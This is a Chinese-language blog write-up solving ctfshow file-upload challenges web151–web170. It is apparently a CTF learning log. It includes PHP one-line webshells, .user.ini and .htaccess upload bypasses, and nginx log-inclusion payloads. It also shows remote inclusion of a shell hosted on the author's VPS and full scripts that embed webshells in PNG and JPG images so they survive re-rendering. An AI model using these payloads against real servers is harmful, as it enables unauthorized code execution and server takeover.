ctfshow文件上传

本文最后更新于 2024年9月20日 中午

web151

0x01

测试了一下需要png结尾,传个一句话木马上传之后bp抓包改为php,然后执行就行了,或者蚁剑

2024-09-19174901

0x02

前端js进行修改,把对应的png改成php即可

web152

参照web151的0x01

web153

这题直接改结尾不能成功,尝试htaccess之后发现不行,查阅之后发现前者只适合apache,这里使.user.ini

1
2
GIF89a
auto_prepend_file=shell.png

然后也修改为png,再在bp里进行修改

然后直接上传一句话的图片就行了

注意本地使用的是index.php进行连接

2024-09-19200002

web154

试了一下,给了报错是

文件上传失败,失败原因:文件内容不合规,上传的木马过滤了php,稍微修改一下🐎就行

1
<?=eval($_POST['cmd']);?>

然后进行website/upload/index.php执行

1
cmd=system('tac ../f*');

web155

和上面web154一致的过程

2024-09-19201438

web156

失败原因:文件类型不合规

在之前的基础上,过滤了[],可以使用{}进行绕过,其他的流程一致

1
<?=eval($_POST{'cmd'});?>

web157

这题在之前的基础上对{},;进行了过滤,根据前面执行的命令,可以直接把要执行的命令传入图片中

1
<?=system("tac ../f*")?>

2024-09-19202826

web158

和web157做题完全一致

web159

本地在之前的基础上禁用了(),正常的函数都不能用了,但是由于php特性

1
``就相当于执行命令

因此可以这么写木马

1
<?=`tac ../f*`?>

剩余的流程和上面一样

web160

可以传个png进行简单的fuzz一下,再之前的基础上过滤了空格和反引号,以及log,这样基本不用想执行木马了这里学习一下,又是利用日志包含的原理。log用“.”进行绕过。当命令执行跟木马上传失败的时候,可以利用日志包含上传

2024-09-19211006

web161

在web160的基础上加了GIF89a进行验证就行

1
2
GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

2024-09-19212242

基本上和web160一致

web162

0x01

上强度了,看了一下wp这里的介绍是远程包含,有点xxe那味道了。这题过滤了.基本的文件尾就不能用了。

由于我们知道具体的文件在哪,所以就直接写命令执行

1
2
GIF89a
auto_prepend_file=orange

2024-09-19214003

然后写一个orange.png,里面内容是

1
2
GIF89a
<?=include"http://142748273:5000/orange"?>

简单的解释一下,我在我的一个vps下写了一个马,这里远程包含我的马,我开了5000这个端口,由于.被过滤了,所以需要ip转int型

其他的流程基本和上面一致

2024-09-19220630

本地你的物理机都需要一开始是png然后在bp里删掉的,这里注意一下。

0x02

涉及条件竞争,由于环境就不演示了,网上有很多大师傅都有wp讲解,可以去看看

web163

传图片后,会被删除,在网上看wp的时,看到一个约过中间,直接写的思路

0x01

条件竞争,网上自己找吧

0x02

直接在.user.ini里写入远程的地址

1
2
GIF89a
auto_prepend_file=http://142748273:5000/orange

然后vps开服务,就行了,本地的物理机都还是上传png只不过bp删掉了而已

web164

进行了简单的尝试,发现上传的哪怕是真图片马,也是被进行二次转化,下载下面里面的马就没有了,应该是图片的二次渲染.

借用网上的脚本跑一下吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'ornage.png');

/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>

2024-09-19224702

然后ctrl+s把图片下载下来用txt看可以得到flag,第一次见二次渲染的题

web165

上一题是png的二次渲染,这题是jpg的二次渲染,可以通过前端的代码知晓,脚本是网上比较多的,这里直接先贴过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/

$miniPayload = '<?=eval($_POST[1]);?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

orz这题我在本地测试了很久都没有找到一个合适的jpg,就是通过这个脚本执行然后上传就行了,多找一些jpg进行尝试,成功率比较低因为有的文件可能会有特殊字符导致解析失败,我在本地没有打通

web166

1
<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'zip'}">

这题限制的是zip后缀,随便找个zip用txt在后面加个一句话木马即可,这题需要反复配合bp食用,首先上传的时候需要注意回显的zip名称,然后post对应的发包,可以多尝试几次,我在本地也测试了好几次

2024-09-20103904

web167

本题用的是阿帕奇的,所以使用.htaccess进行上传内容,图片限制是jpg可以看源码

1
2
3
<FilesMatch  "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后就是正常的文件上传

2024-09-20110014

web168

加了一点姿势,过滤了eval,system,post,get,可以直接执行命令,反正也是知道具体的flag在哪的,同时本题又改为png上传

这题可以直接修改为php,先执行ls命令

1
<?=`ls ..`;?>

flag在flagaa.php里

1
<?=`tac ../flagaa.php`;?>

2024-09-20112040

web169

1
<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'zip'}">

前端检测zip文件,后端要求png文件这题过滤了<,这题的思路,大概就是上传一个zip

首先创建一个index.zip,上传之后修改为php并且把文件形式改成png

2024-09-20114308

然后创建.user.ini.zip,里面的内容就是日志包含

1
2
GIF89a
auto_prepend_file=/var/log/nginx/access.log

上传之后和上面一样改,同时在UA里面进行修改写入一个马得到flag,flag在flagaa.php

web170

和上一题基本一致


ctfshow文件上传
https://0ran9ewww.github.io/2024/09/20/每日一题/ctfshow文件上传/
作者
orange
发布于
2024年9月20日
许可协议